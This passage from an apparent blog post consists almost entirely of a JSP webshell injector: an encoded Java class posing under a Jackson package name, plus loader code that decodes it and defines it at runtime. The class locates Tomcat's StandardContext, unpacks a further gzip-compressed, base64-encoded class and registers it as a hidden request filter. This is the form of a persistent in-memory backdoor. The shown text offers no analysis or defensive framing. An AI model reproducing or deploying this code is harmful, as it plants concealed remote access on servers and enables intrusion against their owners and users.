vR2NaUEY1VnF0alEwdC9NaW5SWG5TYW1KTVdLbzQ2dWZOeW9ZYnIrNjFNdHQ1cEYzNjhTaTZjbEhVc2VaMmRTcGFvUElQTVRLeEtIbndNYjhxWXZNWHdPUWY3OFE0OWxaODB2TzdHaDZuUTgvTzVaQ1psZnh5b3lSSUo3NW5wOUcxK3lWMStpQmQxZ3g4ZjBkeGQxS3hyVHJIcitQRUpMbWMzODRDbXdNMG5leVcvM29SczUvYTR3UjY5blBFcmlNOEt2alZ6aCtBNHIvb2tabFlIUHo2QkxkWEJUMDlndlQzZitBV1hYQWp3NmJQVkt2a0RWR2NMeHhrMjhDeGNUQzNDdWR3RWxocC8xcHhGUTlSVGV4YXJvdDZRcC9vcnJEK0ZhMXo0SGlkSzNqalpPSUpOUjNITUZtNDVoZXRkaVBwQ3Z1OXhwRHJrRzBGSFZEbU43ZDN1TTlqeE5XNGV3UzBuY1h2VUg5U0NjZDhaNk4zdVlMS3oyL01sOW5WMmUrVnpCUGxvUmFqQ000TCtVRVhJVHgxUHR6dWtVT2MwMHQzdWt4aWtvcHlHbEcvbHl3Z09uWVVlRFlRQ0l6anNkYlE5MUE1NXVYVC9UY2ZoalNySFVWbFhVM3NLRDdseEhET2l2dEdYTCtoeE03N0RENWhOSG43QmJ4emRObE1kbkFGenlOaGNyc3huallYUWhBWFVYb1EyaHVBV0xNRXdMc1ZoWEdhSDdEdGNRWlNsK0JITDhET1dFNnVhYUZVNGh6RCtRSTNONXpDUjJuQVFseEJYSVVLYTJQUEk5VEN1NXdraGN2OEozeGRnSVMxb3d1TThhVEhQUDBlTkpUekpKeU5TaUphY1hjWlRoVDFieXJOZDl1eEtudTZtNXUrMFlBV1RTTVd2dENITWRGbkw5UnI0L3FXUmlnS1hnaG9GZFFvaUNob1VyRko0UFFzRnMvK0NjQ2t0bkZUZ1lUdGRYSGdVai9FWVhySk9jdUJ2U3IwY2g0TFBmSTBYMm11REwzbWNLSzRoM2EvVU1nWWVPd1kxVG1DU3hiL1AyNE92Y1VkSFhmQU5wb0pPWmNHUllUNFU5WVE0dkIxOHR4UXA1SmtLeC9iNktuNG1qTVpxZ2MxTmhFOHBiY0JLL3RaaEZVMWViZk8rZ1NzK2VpK1o1UWNSWXlobmJxN1hrZVVueU5OS2JNR1Q1Rml5T0ZUa2VBaFBNUUxDNW82VnM1KzgyTFRJNHB6Ti8vZVlUQTRwYSt3S1l4V05MN1gxdGdGem5jVWlzTUQ3K0lEUFVUREo4SWZGYXE2eE5TWUJheXFwMnlMWWYxbmtjTlhmRFFBQQgAEwEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAFQAWCgASABcBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAaAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBAChMY29tL2Zhc3RlcnhtbC9qYWNrc29uL2YvU2lnbmF0dXJlVXRpbHM7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAJExqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADmphdmEvdXRpbC9MaXN0BwAnAQASamF2YS91dGlsL0l0ZXJhdG9yBwApAQANU3RhY2tNYXBUYWJsZQwAFQAZCgAEACwBAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7DAAuAC8KAAIAMAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAMgAzCwAoADQBAAdoYXNOZXh0AQADKClaDAA2ADcLACoAOAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAOgA7CwAqADwBAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAPgA/CgACAEABAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMAEIAQwoAAgBEAQAEa2V5MQEACGNoaWxkcmVuAQATTGphdmEvdXRpbC9IYXNoTWFwOwEAA2tleQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBQAQAQamF2YS9sYW5nL1RocmVhZAcAUgEAEWphdmEvdXRpbC9IYXNoTWFwBwBUAQATamF2YS91dGlsL0FycmF5TGlzdAcAVgoAVwAsAQAKZ2V0VGhyZWFkcwgAWQEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABbAFwKAAIAXQEAB2dldE5hbWUMAF8ABgoAUwBgAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcggAYgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABkAGUKABIAZgEABnRhcmdldAgAaAEABWdldEZWDABqAFwKAAIAawEABnRoaXMkMAgAbQgARwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7DABwAHEKAFUAcgEADWphdmEvdXRpbC9TZXQHAHQLAHUANAEAA2dldAwAdwA/CgBVAHgBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAHoAewoABAB8AQAPamF2YS9sYW5nL0NsYXNzBwB+CgB/AGABAA9TdGFuZGFyZENvbnRleHQIAIEBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAIMAhAsAKACFAQAVVG9tY2F0RW1iZWRkZWRDb250ZXh0CACHAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAiQCKCgBTAIsBAAh0b1N0cmluZwwAjQAGCgB/AI4BABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyCACQAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcggAkgEACXJlc291cmNlcwgAlAgAIAEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwCXAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWDAAVAJkKAJgAmgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCcAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAngEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAKABAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKQBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcArgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAsACxCgBTALIBAA5nZXRDbGFzc0xvYWRlcgwAtACKCgB/ALUMAAoABgoAAgC3AQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAuQC6CgCvALsMAA0ABgoAAgC9AQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwAvwDACgACAMEBAA5nemlwRGVjb21wcmVzcwEABihbQilbQgwAwwDECgACAMUIAKgHAKcBABFqYXZhL2xhbmcvSW50ZWdlcgcAyQEABFRZUEUMAMsAqwkAygDMAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DADOAM8KAH8A0AEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcA0gEADXNldEFjY2Vzc2libGUBAAQoWilWDADUANUKANMA1gEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DADYANkKAMoA2gEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA3ADdCgDTAN4BAAtuZXdJbnN0YW5jZQwA4AA7CgB/AOEBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAFJAQAJY2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQABLggA6QEAC2xhc3RJbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADrAOwKABIA7QEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwA7wDwCgASAPEBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwD3AQARZ2V0Q2F0YWxpbmFMb2FkZXIMAQAAigoAAgEBDADjAOQKAAIBAwEADWZpbmRGaWx0ZXJEZWYIAQUBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAFsBBwoAAgEIAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIAQoBAAdmb3JOYW1lDAEMALoKAH8BDQEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwCAEPAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyRGVmCAERAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwCAETAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwwBDAEVCgB/ARYBAA1zZXRGaWx0ZXJOYW1lCAEYAQAOc2V0RmlsdGVyQ2xhc3MIARoBAAxhZGRGaWx0ZXJEZWYIARwBAA1zZXREaXNwYXRjaGVyCAEeAQAHUkVRVUVTVAgBIAEADWFkZFVSTFBhdHRlcm4IASIMAAUABgoAAgEkAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCAEmAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAEoASkKAH8BKgEADXNldFVSTFBhdHRlcm4IASwBABJhZGRGaWx0ZXJNYXBCZWZvcmUIAS4BAAxhZGRGaWx0ZXJNYXAIATABAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBMgoBMwDWAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADgATUKATMBNggA+QEADWphdmEvdXRpbC9NYXAHATkBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBOwE8CwE6AT0BAA9wcmludFN0YWNrVHJhY2UMAT8AGQoAGwFAAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAUIBACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgcBRAEAAWkBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBTAEADGRlY29kZUJ1ZmZlcggBTgEACWdldE1ldGhvZAwBUADPCgB/AVEBABBqYXZhLnV0aWwuQmFzZTY0CAFTAQAKZ2V0RGVjb2RlcggBVQEABmRlY29kZQgBVwEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBYgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAWQBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBZgoBYwAsAQAFKFtCKVYMABUBaQoBZQFqAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAWwKAWcBbQEABHJlYWQBAAUoW0IpSQwBbwFwCgFnAXEBAAV3cml0ZQEAByhbQklJKVYMAXMBdAoBYwF1AQALdG9CeXRlQXJyYXkBAAQoKVtCDAF3AXgKAWMBeQEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAX8BgAoAAgGBAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAYMKAYQA1goBhAB4AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwGHAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAGKAYsKAH8BjAEADWdldFN1cGVyY2xhc3MMAY4AewoAfwGPCgGIABcBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzBwGVAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAZ8BoAoAfwGhCgDTAGABAAZlcXVhbHMMAaQAhAo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";
        byte[] bytecode = null;
        try {
            Class base64Clz = classLoader.loadClass("java.util.Base64");
            Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
            Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
            bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
        } catch (ClassNotFoundException ee) {
            Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
            bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
        }
        Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);
        clazz.newInstance();
    }
%>
posted @ 2025-01-25 22:09  colorfullbz  阅读(71)  评论(0)    收藏  举报